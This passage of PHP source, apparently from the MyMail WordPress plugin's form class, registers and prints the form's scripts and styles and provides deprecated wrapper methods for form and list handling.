wp_get_referer(), PHP_URL_HOST ) != parse_url( home_url(), PHP_URL_HOST ); } /** * * * @return unknown */ private function valid() { return empty( $this->object['errors'] ); } /** * */ public static function print_script() { if ( self::$add_script ) { return; } $suffix = SCRIPT_DEBUG ? '' : '.min'; wp_register_script( 'mymail-form', MYMAIL_URI . 'assets/js/form' . $suffix . '.js', apply_filters( 'mymail_no_jquery', array( 'jquery' ) ), MYMAIL_VERSION, true ); wp_register_script( 'mymail-form-placeholder', MYMAIL_URI . 'assets/js/placeholder-fix' . $suffix . '.js', apply_filters( 'mymail_no_jquery', array( 'jquery' ) ), MYMAIL_VERSION, true ); global $is_IE; if ( $is_IE ) { wp_print_scripts( 'jquery' ); echo '<!--[if lte IE 9]>'; wp_print_scripts( 'mymail-form-placeholder' ); echo '<![endif]-->'; } wp_print_scripts( 'mymail-form' ); self::$add_script = true; } /** * * * @param unknown $embed (optional) */ public static function print_style( $embed = true ) { if ( self::$add_style ) { return; } $suffix = SCRIPT_DEBUG ? '' : '.min'; wp_register_style( 'mymail-form-default', MYMAIL_URI . 'assets/css/form-default-style' . $suffix . '.css', array(), MYMAIL_VERSION ); ( $embed ) ? mymail( 'helper' )->wp_print_embedded_styles( 'mymail-form-default' ) : wp_print_styles( 'mymail-form-default' ); self::$add_style = true; } /** * deprecated methods * * @param unknown $form_id (optional) * @return unknown */ public function get( $form_id = 0 ) { _deprecated_function( __FUNCTION__, '2.1', "mymail('forms')->get()" ); $return = mymail( 'helper' )->object_to_array( mymail( 'forms' )->get( $form_id ) ); $return['id'] = $return['ID']; return $return; } /** * * * @param unknown $option (optional) * @return unknown */ public function get_all( $option = null ) { _deprecated_function( __FUNCTION__, '2.1', "mymail('forms')->get_all()" ); $forms = mymail( 'helper' )->object_to_array( mymail( 'forms' )->get_all() ); foreach ( $forms as $i => $form ) { $forms[$i]['id'] = $form['ID']; } return $forms; } /** * * * @param unknown $form_id (optional) * @param unknown $key * @param unknown $value * @return unknown */ public function set( $form_id = 0, $key, $value ) { _deprecated_function( __FUNCTION__, '2.1', "mymail('forms')->update_field()" ); $return = mymail( 'forms' )->update_field( $form_id, $key, $value ); $return['id'] = $return['ID']; return $return; } /** * * * @param unknown $form_id * @param unknown $list_id * @return unknown */ public function assign_list( $form_id, $list_id ) { _deprecated_function( __FUNCTION__, '2.1', "mymail('forms')->assign_lists()" ); $return = mymail( 'forms' )->assign_lists( $form_id, $list_id ); $return['id'] = $return['ID']; return $return; } /** * * * @param unknown $form_id * @param unknown $list_id * @return unknown */ public function unassign_list( $form_id, $list_id ) { _deprecated_function( __FUNCTION__, '2.1', "mymail('forms')->unassign_lists()" ); $return = mymail( 'forms' )->unassign_lists( $form_id, $list_id ); $return['id'] = $return['ID']; return $return; } }